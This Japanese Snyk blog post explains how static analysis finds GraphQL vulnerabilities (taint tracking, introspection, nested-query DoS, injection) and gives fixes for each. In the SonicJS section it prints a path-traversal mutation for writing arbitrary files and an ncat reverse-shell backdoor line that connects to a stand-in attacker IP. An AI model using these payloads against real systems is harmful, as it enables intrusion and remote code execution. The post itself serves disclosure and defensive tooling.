Skip to main content

静的解析とSnyk CodeでGraphQLのセキュリティを強化する

著者
Headshot of Sam Sanoop

Sam Sanoop

feature snyk code orange

2022年4月12日

0 分で読めます

GraphQLは、Facebookが2015年に開発したAPIクエリ言語です。独自の機能と特徴を備え、REST APIに代わる有力な選択肢となっています。セキュリティ面では、GraphQLサーバーにさまざまな設定ミスが存在し、データ侵害やアクセス制御の問題、その他の重大な脆弱性につながる可能性があります。

GraphQLのセキュリティ問題は広く知られているものの、動的解析以外でそれらを見つける方法に関する情報はほとんどありません。この記事では、コードベースに潜む一般的なGraphQLの脆弱性と、静的解析ツールおよびGraphQL Securityを使ってそれらを検出する方法について説明します。広く利用されているGraphQLフレームワークの多くはnpmに存在するため、Node.jsエコシステムの例を中心に取り上げます。

GraphQLフレームワークを通じた汚染解析

GraphQLエンドポイントにおけるSQLインジェクションやデシリアライゼーションの脆弱性は、数多くの調査で報告されています。その一例として、HackerOneのレポートでGraphQLパラメーターを介したSQLインジェクションが確認されています。

REST APIのパラメーターと同様に、GraphQLの引数もユーザー入力をアプリケーションに取り込む汚染源となります。静的解析ツールは、アプリケーション内のこれらのパラメーターを正確に特定し、モデル化できる必要があります。

GraphQLフレームワークでは、リゾルバーがスキーマ、関数、引数を対応付けてから、リゾルバー関数に渡します。次の例では、args引数が、GraphQLオペレーションによってフィールドに渡されたすべてのGraphQL引数を含むオブジェクトとして示されています。

const resolvers = {
  Query: {
    user(parent, args, context, info) {
      return runFunction(args.parameter);
    }
  }
}

これらのargs式は、ポインター解析と型状態解析を活用してプログラムの実行を正確に記録するSnyk Codeエンジンで追跡できます。最新のオープンソースNode.jsベースのコンテンツ管理システムであるSonicJSのSnyk Codeによる解析が、参考になる例です。

SonicJSでは、GraphQLエンドポイントを通じてCMS操作を実行できます。その操作の1つがfileUpdateミューテーションで、ユーザーがファイルを更新できます。

    fileUpdate: {
      type: FileType,
      args: {
        filePath: { type: new GraphQLNonNull(GraphQLString) },
        fileContent: { type: new GraphQLNonNull(GraphQLString) },
        sessionID: { type: GraphQLString },
      },
      resolve(parent, args) {
        fileService.writeFile(args.filePath, args.fileContent);
        let fileData = new FileData(args.filePath, args.fileContent);
        return fileData;
      },

(ソースコード)

このミューテーションクエリは、ユーザーが指定したargs.filePathとargs.fileContentを受け取り、それらをfileServiceオブジェクトのwriteFile関数に渡します。fileServiceオブジェクトの関数はserver/services/file.service.jsに定義されており、以下のように確認できます。

    writeFile: async function (filePath, fileContent) {
      Let fullPath = path.join(this.getRootAppPath(), filePath);
      Await fsPromise.writeFile(fullPath, fileContent);
    },

(ソースコード)

この関数はGraphQLの引数を受け取り、fs.writeFile関数を使って指定されたパスのファイルを更新します。しかし、この関数を悪用すると、指定されたアプリケーションディレクトリを遡って、対象システム内の任意の場所に新しいファイルを作成できます。たとえば、次のGraphQLクエリのような方法です。

mutation {

fileUpdate(
filePath: "../../../../../../../../../../../../tmp/test.txt",
fileContent: "exploitable",
sessionID:"nosessioncheckinplace"
){
filePath
fileContent
}
}

この脆弱性を悪用すると、SonicJSのサービスファイルの1つを、SonicJSの起動時または再起動時に読み込まれる悪意あるJavaScriptで上書きし、システム上でコードを実行できます。たとえば、次のステートメントはchild_process関数を使ってアプリケーションにバックドアを仕込み、対象システムにインストールされたncatプログラムを利用して、攻撃者が制御するIPアドレスに接続します。

require("child_process").exec('ncat 127.0.0.1 4445 -e /bin/bash')
fileUpdateミューテーションにファイルパスとシェルコマンドのペイロードが表示され、その横に返されたJSONレスポンスが示されたGraphQLインターフェース。

この脆弱性に関するSnyk Codeのレポートを以下に示します。

GraphQLのパストラバーサル脆弱性と、ファイル書き込み関数へのデータフローを示すセキュリティコード解析

SonicJSでは、クエリに認証と認可を必須とし、指定されたファイルパスを検証して../などの特殊文字を許可しないことで、今後この脆弱性を防止できます。

GraphQLのイントロスペクション

GraphQLのイントロスペクション機能を使うと、GraphQLサーバーがサポートするクエリを調べられます。対象となるのは、型、フィールド、クエリ、ミューテーションなど、GraphQLスキーマに関する情報です。

これは機能であり、直接的なセキュリティ問題ではありませんが、イントロスペクションは、攻撃者が悪用できる隠れた機能の発見に使われることがあります。

Node.jsエコシステムでは、JavaScriptフレームワークでイントロスペクションがデフォルトで有効になっていることが多く、開発者が気づかない場合があります。そのため、以下のexpress-graphqlのように、設定を指定せずGraphQLフレームワークを使うと、イントロスペクションが自動的に有効になります。

import express from 'express'
import graphqlHTTP from 'express-graphql'
import Myschema from './schema'

const app = express();
app.use('/graphql', graphqlHTTP((req, res) => ({ 
  Schema: MySchema,
})))

Snyk Codeでのこのレポートの例を以下に示します。

Apollo GraphQLサーバーで「イントロスペクションが有効」と表示されたセキュリティ分析画面。イントロスペクションをtrueに設定するコードが表示されています。

本番アプリケーションでもイントロスペクションが正当に必要となる場合があるため、この問題は低リスクとして報告されました。

express-graphqlでイントロスペクションを無効にするには、graphql-jsが提供するNoSchemaIntrospectionCustomRuleを使用します。

import express from 'express'
import graphqlHTTP from 'express-graphql'
import Myschema from './schema'
import { specifiedRules, NoSchemaIntrospectionCustomRule } from 'graphql';

const app = express();
app.use('/graphql', graphqlHTTP((req, res) => ({ 
  Schema: MySchema,
validationRules: [...specifiedRules, NoSchemaIntrospectionCustomRule],
})))

本番環境でイントロスペクションを有効にするとセキュリティ上の問題につながる可能性がありますが、開発時には必要となることがよくあります。ApolloServerの開発者は、本番環境かどうかに応じてイントロスペクションを有効または無効にすることで、この問題に対処しています。

// introspection is only enabled based on NODE_ENV
const apolloServer = new ApolloServer({
  schema,
  introspection: process.env.NODE_ENV !== 'production' && CUSTOM_ENV !== 'production',
});
export default apolloServer;

別のGraphQLフレームワークを使用している場合は、graphql-disable-introspectionパッケージなどのサードパーティーライブラリを使って、GraphQLエンドポイントのルールを検証できます。

GraphQLによるサービス拒否攻撃

GraphQLエンドポイントが処理するクエリには、ネストされたオブジェクトの深さがあります。ほとんどのGraphQLフレームワークでは、デフォルトで深さの制限が設定されていません。深さに制限のないクエリは、以下の例のように、フレームワークをサービス拒否(DoS)攻撃に対して脆弱な状態にする可能性があります。

{
    one {
        two {
            one {
                two {
                    one…
                }
            }
        }
    }
}

ただし、この問題を悪用するには、GraphQLサーバーに、双方向の関係を持つフィールド型の再帰的なパターンが必要です。Snyk Codeでのこのレポートの例を以下に示します。

「ネストされたGraphQLクエリによるサービス拒否(DoS)」と題されたコード解析画面。server.js内のgraphqlHTTP設定がハイライト表示されている。

このDoS脆弱性はmevn-cliで見つかりました。修正するには、npmで入手できるgraphql-depth-limitパッケージを次のように使用できます。

import depthLimit from 'graphql-depth-limit'
import express from 'express'
import graphqlHTTP from 'express-graphql'
import schema from './schema'

const app = express() 
app.use('/graphql', graphqlHTTP((req, res) => ({ 
  schema,
  validationRules: [ depthLimit(10) ]
})))

修正例については、mevn-cliリポジトリのコミットをご覧ください。

DoS攻撃を防ぐもう1つの方法は、GraphQLエンドポイントでリクエスト本文の長さを確認することです。クエリが大きい場合はDoS攻撃の兆候である可能性があるため、クエリの長さを監視することは、シンプルで効果的な検証方法です。

// query length is checked here to prevent DoS
  app.use('/graphql', graphqlExpress((req) => {     
 const query = req.query.query || req.body.query;
    if (query && query.length > 2000) {
      // Normal GraphQL queries are not this long
      // Probably indicates someone trying to send an overly expensive query
      throw new Error('Query too large.');
    }

    return {
      schema,
      context: Object.assign({}, context),
      debug: true,
    };
  }));

GraphQLインジェクション

GraphQLインジェクションでは、攻撃者がアプリケーションのクエリに干渉し、通常は取得できないデータ(ユーザーデータや、アプリケーションがアクセスできるその他のデータ)にアクセスできるようになります。多くの場合、データの変更や削除も可能となり、アプリケーションのコンテンツや動作に永続的な変更を加えられるおそれがあります。

@octokit/coreは、GitHubのREST APIとGraphQL APIを利用してGraphQLクエリを作成するための軽量なライブラリです。ユーザー入力を使って動的にGraphQLクエリを作成する場合、攻撃者がクエリを改変し、機密情報にアクセスできる可能性があります。この問題の例を以下に示します。

app.get('/', async function(req, res) {

    let user = req.query.page;

    const { articles } = await octokit.graphql(
        `
          query lastIssues($owner: String!, $repo: String!) {
            repository(owner: ${input}, name: $repo) {
              issues(last: $num) {
                edges {
                  node {
                    title
                  }
                }
              }
            }
          }
        `,
        {
          owner: "octokit",
          repo: "graphql.js",
        }
      );

Snyk Codeでのこのレポートの例を以下に示します。

JavaScriptコードでサニタイズされていないHTTP入力がGraphQLクエリに渡される様子を示す、Snyk CodeによるGraphQLセキュリティ分析

GraphQLインジェクションを防ぐには、ユーザーが入力したパラメーターをGraphQLクエリに直接渡さないでください。パフォーマンス上の理由からユーザー入力を直接使う必要がある場合は、許可する文字を厳格な許可リストで検証し、? & / < > ; -やスペースなどの特殊文字を除外してください。また、可能であればベンダー提供のエスケープ処理を使用してください。

まとめ

Snyk Codeは現在、さまざまな汚染解析ルールとセマンティックルールを通じて、以下のGraphQLフレームワークをサポートしています。

  • express-graphql

  • koa-graphql

  • mercurius

  • apollo-server

  • graphql-js

今後は、安全でないオブジェクト参照、直接参照、アクセス制御の問題など、GraphQLの脆弱性への対応をさらに拡大したいと考えています。現在、GraphQLはJavaScriptに対応していますが、バッチ攻撃やクエリの複雑さなどの問題に対処するため、対応するプログラミング言語やコード品質ルールを増やすことを目指しています。

Capture the Flagを始めよう

オンデマンドのバーチャル入門ワークショップを見て、Capture the Flagの課題の解き方を学びましょう。

続きを読む

feature insights context
Blog

自律型攻撃はすでに始まっている。防御もそのスピードに追いつかなければならない。

自律型攻撃者によって、防御に使える時間は短くなっています。継続的な検出、修復、検証、予防で、セキュリティチームが攻撃に歩調を合わせる方法をご紹介します。

illustration hero ai
Blog

AIハリケーンが到来

AIはソフトウェア開発とサイバー攻撃の双方を加速させています。リーダーは、エージェントとコードを開発の初期段階から保護し、実行時に制御を徹底するとともに、防御策を独立して検証しなければなりません。

feature insights context
Blog

予防は、本質的に解決済みの問題なのでしょうか?

エージェントが生成するコードの予防策はアーキテクチャ上解決されていますが、開発を遅らせることなくセキュリティを守る制御を選ぶことが、依然として課題です。